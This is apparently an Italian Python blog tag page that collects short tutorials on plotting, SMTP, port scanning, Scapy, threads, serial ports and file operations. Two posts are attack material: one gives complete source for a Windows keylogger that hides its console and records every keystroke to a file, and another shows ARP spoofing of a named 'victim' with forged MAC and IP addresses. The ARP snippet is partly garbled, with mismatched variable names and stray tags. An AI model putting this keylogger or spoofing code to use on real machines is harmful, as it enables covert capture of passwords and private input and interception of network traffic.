Tag: Python

11/11/201218/10/2016 da Mr Codematrix

Numpy & Matplotlib

NumPy è un’estensione del linguaggio di programmazione Python che aggiunge il supporto per i grandi array multidimensionali e matrici, insieme a una vasta libreria di funzioni matematiche di alto livello per operare su questi array ottimo per interagire con la libreria matplotlib

#Importo le librerie
import numpy
from matplotlib import pyplot
#Setto le due coordinate attraverso delle funzioni matematiche di numpy
coord_x = numpy.linspace(0,2 * numpy.pi,50)
coord_y = numpy.sin(coord_x)
#Passo le 2 coordinate alla funziona plot
pyplot.plot(coord_x,coord_y)
#Creo Immagine
pyplot.savefig("sinusoide.png")

#Importo le librerie

import numpy

from matplotlib import pyplot

#Setto le due coordinate attraverso delle funzioni matematiche di numpy

coord_x = numpy.linspace(0,2 * numpy.pi,50)

coord_y = numpy.sin(coord_x)

#Passo le 2 coordinate alla funziona plot

pyplot.plot(coord_x,coord_y)

#Creo Immagine

pyplot.savefig("sinusoide.png")

07/11/201218/10/2016 da Mr Codematrix

Introduzione al Matplotlib

Matplotlib è una libreria per la gestione di grafici 2d qui vedremo un piccolo esempio del uso di questa libreria.

#Importo libreria matplotlib
import matplotlib.pyplot as pyp
#Setto le 2 coordinate
x = [0, 2, 4, 9, 10]
y = [0, 3, 3, 7, 0]
#Passo le 2 coordinate alla funziona plot
pyp.plot(x, y)
#Creo immagine
pyp.savefig("schema.png")

#Importo libreria matplotlib

import matplotlib.pyplot as pyp

#Setto le 2 coordinate

x = [0, 2, 4, 9, 10]

y = [0, 3, 3, 7, 0]

#Passo le 2 coordinate alla funziona plot

pyp.plot(x, y)

#Creo immagine

pyp.savefig("schema.png")

06/11/201218/10/2016 da Mr Codematrix

Arp Spoofing con Scapy

Ora vediamo come fare un semplice arp spoofing con il nostro scapy.
Ok lancio la shell di scapy

sudo scapy

1	sudo scapy

Creiamo il nostro pacchetto arp e vediamo le propietà

arp_pack = ARP()
arp_pack.display()

1 2	arp_pack = ARP() arp_pack.display()

Settiamo ip della vittima

arp_pack.pdst="192.168.1.2"
[bash]
Ora mettiamo Mac e Ip di chi li spedisce ovviamente falsi
[bash]
a.hwsrc="11:11:11:11:11:11"
a.psrc="192.168.1.100"

arp_pack.pdst="192.168.1.2"

[bash]

Ora mettiamo Mac e Ip di chi li spedisce ovviamente falsi

[bash]

a.hwsrc="11:11:11:11:11:11"

a.psrc="192.168.1.100"

Il Mac del destinatario lo lasciamo cosi com’è.

a.hwdst="00:00:00:00:00:00"

1	a.hwdst="00:00:00:00:00:00"

Ora spendiamo il pacchetto arp 😀

send(a)

send(a)

29/10/201218/10/2016 da Mr Codematrix

Keylogger & PyHook

Oggi vi farò vedere grazie al utilizzo della libreria pyHook come è possibile creare un Keylogger.

#Importo librerie per la gestione win32 e pyhook per il nostro keylogger
import win32api
import win32console
import win32gui
import pythoncom, pyHook
import thread

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
    if event.Ascii==5:
        _exit(1)

    if event.Ascii != 0 or 8:
        #Se il file non esiste lo crea al istante
        try:
            f=open('c:\output.txt','r')
            file_data=f.read()
            f.close()
        except:
            f=open('c:\output.txt','w')
            file_data=""
            f.close()
                
    f=open('c:\output.txt','w')
    #Questa var appena digitata dal user
    keylogs=chr(event.Ascii)
    if event.Ascii==13:
        keylogs='\n'
    #Aggiungo al file il nuovo carattere
    file_data += keylogs
    f.write(file_data)
    #Chiudo file
    f.close()


hook_manager = pyHook.HookManager()
hook_manager.KeyDown = OnKeyboardEvent
hook_manager.HookKeyboard()
pythoncom.PumpMessages()

#Importo librerie per la gestione win32 e pyhook per il nostro keylogger

import win32api

import win32console

import win32gui

import pythoncom, pyHook

import thread

win = win32console.GetConsoleWindow()

win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):

if event.Ascii==5:

_exit(1)

if event.Ascii != 0 or 8:

#Se il file non esiste lo crea al istante

try:

f=open('c:\output.txt','r')

file_data=f.read()

f.close()

except:

f=open('c:\output.txt','w')

file_data=""

f.close()

f=open('c:\output.txt','w')

#Questa var appena digitata dal user

keylogs=chr(event.Ascii)

if event.Ascii==13:

keylogs='\n'

#Aggiungo al file il nuovo carattere

file_data += keylogs

f.write(file_data)

#Chiudo file

f.close()

hook_manager = pyHook.HookManager()

hook_manager.KeyDown = OnKeyboardEvent

hook_manager.HookKeyboard()

pythoncom.PumpMessages()

25/10/201218/10/2016 da Mr Codematrix

Smtp con login

Come mandare un mail con il server smtp e il relativo login

#Importo libreria per smtp
import smtplib
#Setto le variabili del Email
destinatario = 'La mail del destinatario'
gmail_user = 'Il tuo user'
gmail_password = 'Tua password'
gmail_host = 'smtp.gmail.com'
#Connession al Server
smtp_server = smtplib.SMTP(gmail_host,587)
smtp_server.ehlo()
smtp_server.starttls()
smtp_server.ehlo
#Login al server
smtp_server.login(gmail_user, gmail_password)
#Setto header
header = 'destinatario:' + destinatario + '\n' + 'From: ' + gmail_user + '\n' + 'Subject:testing \n'
#Creo il corpo del mail unendo header della mail piu il messaggio da trasmettere
body = header + "\n Qui c'è il corpo della mail \n\n"
#Invio mail
smtp_server.sendmail(gmail_user, destinatario, body)
smtp_server.close()

#Importo libreria per smtp

import smtplib

#Setto le variabili del Email

destinatario = 'La mail del destinatario'

gmail_user = 'Il tuo user'

gmail_password = 'Tua password'

gmail_host = 'smtp.gmail.com'

#Connession al Server

smtp_server = smtplib.SMTP(gmail_host,587)

smtp_server.ehlo()

smtp_server.starttls()

smtp_server.ehlo

#Login al server

smtp_server.login(gmail_user, gmail_password)

#Setto header

header = 'destinatario:' + destinatario + '\n' + 'From: ' + gmail_user + '\n' + 'Subject:testing \n'

#Creo il corpo del mail unendo header della mail piu il messaggio da trasmettere

body = header + "\n Qui c'è il corpo della mail \n\n"

#Invio mail

smtp_server.sendmail(gmail_user, destinatario, body)

smtp_server.close()

21/10/201218/10/2016 da Mr Codematrix

Scanner in python

Ovviamente questo è uno scanner stupido non è minimamente paragonabile a uno scanner professionale come nmap

from socket import *
#Disegno iniziale del programma
print '--------------------------------------------'
print '--------------------------------------------'
print '--------------------------------------------'
print '--------------------------------------------'
print '---------------Simple Scan Host-------------\n\n\n'

#Do la possibilità al utente di inserire host e la porta da cui iniziare e finire
target = raw_input('Mettere Host: ')
porta_iniziale = input('Porta iniziale: ')
porta_finale = input('Porta finale: ')
#Trasformo host in ip
target_IP = gethostbyname(target)

print '--------------------------------------------'
print 'Scansione sul host -> ', target_IP
report = ""
#Ciclo for della scansione con i valori settati in precedenza
for i in range(porta_iniziale, porta_finale):
    sock = socket(AF_INET, SOCK_STREAM)
    result = sock.connect_ex((target_IP, i))
    if(result == 0) :
        current_port = 'Porte %d: Aperte' % (i,)
        report = report+current_port+"\n"
        print current_port
    sock.close()
#Do la possibilità al utente di salvare tutto in un file 
print "Vuoi salvare la scansione su file?\n"
file_flag = raw_input("Scrivi y per salvare su file")
if file_flag == 'y':
    print 'File salvato'
    report_file = open('report.txt','w')
    report_file.write(report)
    report_file.close()
else:
    print 'File non salvato'
print '--------------------------------------------'

from socket import *

#Disegno iniziale del programma

print '--------------------------------------------'

print '---------------Simple Scan Host-------------\n\n\n'

#Do la possibilità al utente di inserire host e la porta da cui iniziare e finire

target = raw_input('Mettere Host: ')

porta_iniziale = input('Porta iniziale: ')

porta_finale = input('Porta finale: ')

#Trasformo host in ip

target_IP = gethostbyname(target)

print '--------------------------------------------'

print 'Scansione sul host -> ', target_IP

report = ""

#Ciclo for della scansione con i valori settati in precedenza

for i in range(porta_iniziale, porta_finale):

sock = socket(AF_INET, SOCK_STREAM)

result = sock.connect_ex((target_IP, i))

if(result == 0) :

current_port = 'Porte %d: Aperte' % (i,)

report = report+current_port+"\n"

print current_port

sock.close()

#Do la possibilità al utente di salvare tutto in un file

print "Vuoi salvare la scansione su file?\n"

file_flag = raw_input("Scrivi y per salvare su file")

if file_flag == 'y':

print 'File salvato'

report_file = open('report.txt','w')

report_file.write(report)

report_file.close()

else:

print 'File non salvato'

print '--------------------------------------------'

16/10/201218/10/2016 da Mr Codematrix

Introduzione a Scapy

Scapy è uno strumento di manipolazione dei pacchetti per le reti scritto in Python. Con scapy include packet generator, network scanner, network discovery tool e packet sniffer e tanto altro.

Scapy fornisce un’interfaccia Python in libpcap in un modo simile a quella di Wireshark.

Ecco qua le basi sull’ utilizzo di scapy.
Prima cosa per installare Scapy su ubuntu basta la seguente istruzione.

sudo apt-get install python-scapy

1	sudo apt-get install python-scapy

Dopo aver fatto cio lanciamo il nostro scapy

sudo scapy

1	sudo scapy

Ora abbiamo il nostro prompt di scapy digitiamo le seguenti istruzioni:

ip = IP()
ip.display()

1 2	ip = IP() ip.display()

Con queste istruzioni creiamo un oggetto ip e poi con la funziona display vediamo le proprietà.
Ora sostituiamo ip destinatario e visualizziamo i cambiamenti

ip.dst="192.168.198.138"
i.display()

1 2	ip.dst="192.168.198.138" i.display()

Ora creiamo un oggetto ICMP e con la funziona display vediamo le proprietà.

icmp = ICMP()
icmp.display()

1 2	icmp = ICMP() icmp.display()

Ora utilizzeremo questo comando per inviare il pacchetto alla rete e ascoltare un singolo pacchetto in risposta. Si noti che il terzo carattere è il numero 1

sr1 (ip / icmp)

1	sr1 (ip / icmp)

Utilizzare questo comando per inviare un pacchetto IP/ICMP che contiene il dato “Pinco Pallo via icmp”

sr1 (ip / icmp / "Pinco Pallo via icmp")

1	sr1 (ip / icmp / "Pinco Pallo via icmp")

Ora vediamo come mandare un udp la procedura è quasi uguale.
Creiamo oggetto Udp e sempre con la funzione display vediamo le proprietà

udp = UDP()
udp.display()

1 2	udp = UDP() udp.display()

Ora settiamo la porta giusta da mandare al server udp e visualizziamo il cambiamento.

udp.dport = 5555
udp.display()

1 2	udp.dport = 5555 udp.display()

Dopo aver fatto tutto questo lanciamo il comando per inviare il pacchetto UDP.

send(ip/udp/"Pinco Pallo via udp \n")

1	send(ip/udp/"Pinco Pallo via udp \n")

09/10/201218/10/2016 da Mr Codematrix

Thread in python

Un semplice esempio della gestione dei thread in python

#Importo libreria time e quella dei thread
import time, thread

#Funzione che vengono passati 2 valori tempo di attesa e la var che stamperà.
def stampa_var(nome,delay):
    while 1: 
        time.sleep(delay)
        print nome
#Creo 2 Thread e passo le 2 var famose
thread.start_new_thread( stampa_var,("Primo Thread\n",1))
thread.start_new_thread( stampa_var,("Secondo Thread\n",2))

#Attendo 3 secondi e stampo linea di divisione
time.sleep(3)
print "--------------\n"

#Da qui in poi i Thread lavorerano ancora anche se il programma e finito.

#Importo libreria time e quella dei thread

import time, thread

#Funzione che vengono passati 2 valori tempo di attesa e la var che stamperà.

def stampa_var(nome,delay):

while 1:

time.sleep(delay)

print nome

#Creo 2 Thread e passo le 2 var famose

thread.start_new_thread( stampa_var,("Primo Thread\n",1))

thread.start_new_thread( stampa_var,("Secondo Thread\n",2))

#Attendo 3 secondi e stampo linea di divisione

time.sleep(3)

print "--------------\n"

#Da qui in poi i Thread lavorerano ancora anche se il programma e finito.

05/10/201218/10/2016 da Mr Codematrix

Comunicazione con la porta seriale(RS232)

Alcune istruzioni come usare la porta seriale su python.
Aprire porta seriale:

import serial
seriale = serial.Serial("com1", 38400, 8, "N", 2, timeout=1)

1 2	import serial seriale = serial.Serial("com1", 38400, 8, "N", 2, timeout=1)

Scrivere sulla seriale:

seriale.write("stringa") # scrive una stringa
seriale.write(chr(0))    # scrive un carattere singolo
seriale.write("\x00")    # scrive un carattere espresso in esadecimale

seriale.write("stringa") # scrive una stringa

seriale.write(chr(0)) # scrive un carattere singolo

seriale.write("\x00") # scrive un carattere espresso in esadecimale

Leggere dalla seriale:

c = seriale.read(1)    # legge un carattere/byte
c = seriale.read(100)  # legge una stringa di 100 caratteri/bytes

1 2	c = seriale.read(1) # legge un carattere/byte c = seriale.read(100) # legge una stringa di 100 caratteri/bytes

Vuotare i buffer di input o output:

seriale.flushInput()
seriale.flushOutput()

1 2	seriale.flushInput() seriale.flushOutput()

Chiudere la porta:

seriale.close()

1	seriale.close()

28/09/201218/10/2016 da Mr Codematrix

Gestione Sistema

Operazioni di sistema sui files o directory.
Mostra directory corrente programma:

import os
os.getcwd()

1 2	import os os.getcwd()

Lista files directory corrente:

Spostarsi in una directory specifica:
<pre class="lang:python decode:1 " >
os.chdir("dir")

Spostarsi in una directory specifica:

os.chdir("dir")

Cambiare nome a un file:

os.rename("nome_file_vecchio","nome_file_nuovo")

1	os.rename("nome_file_vecchio","nome_file_nuovo")

Cancellare un file:

os.remove("nomefile")

1	os.remove("nomefile")

Verifica se un file esiste:

#Ritorna valore bool True o False.
os.path.exists("nomefile")

1 2	#Ritorna valore bool True o False. os.path.exists("nomefile")

Verifica se un nome e’ un file o una directory:

#Ritorna valore bool True o False.
os.path.isfile("nome")
os.path.isdir("nome")

#Ritorna valore bool True o False.

os.path.isfile("nome")

os.path.isdir("nome")

Crea / rimuove una directory:

os.mkdir("nomedir")
os.rmdir("nomedir")

1 2	os.mkdir("nomedir") os.rmdir("nomedir")

Copia un file:

import shutil
shutil.copyfile("nomefile", "nuovofile")

1 2	import shutil shutil.copyfile("nomefile", "nuovofile")

Avvia un programma esterno (windows)

os.system("notepad.exe")

1	os.system("notepad.exe")

Cookie	Durata	Descrizione
cookielawinfo-checkbox-analytics	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Analytics".
cookielawinfo-checkbox-functional	11 months	The cookie is set by GDPR cookie consent to record the user consent for the cookies in the category "Functional".
cookielawinfo-checkbox-necessary	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookies is used to store the user consent for the cookies in the category "Necessary".
cookielawinfo-checkbox-others	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Other.
cookielawinfo-checkbox-performance	11 months	This cookie is set by GDPR Cookie Consent plugin. The cookie is used to store the user consent for the cookies in the category "Performance".
viewed_cookie_policy	11 months	The cookie is set by the GDPR Cookie Consent plugin and is used to store whether or not user has consented to the use of cookies. It does not store any personal data.

CodeMatrix Blog

Il sapere umano appartiene al mondo.

Tag: Python

Numpy & Matplotlib

Introduzione al Matplotlib

Arp Spoofing con Scapy

Keylogger & PyHook

Smtp con login

Scanner in python

Introduzione a Scapy

Thread in python

Comunicazione con la porta seriale(RS232)

Gestione Sistema

Ads Blocker Detected!!!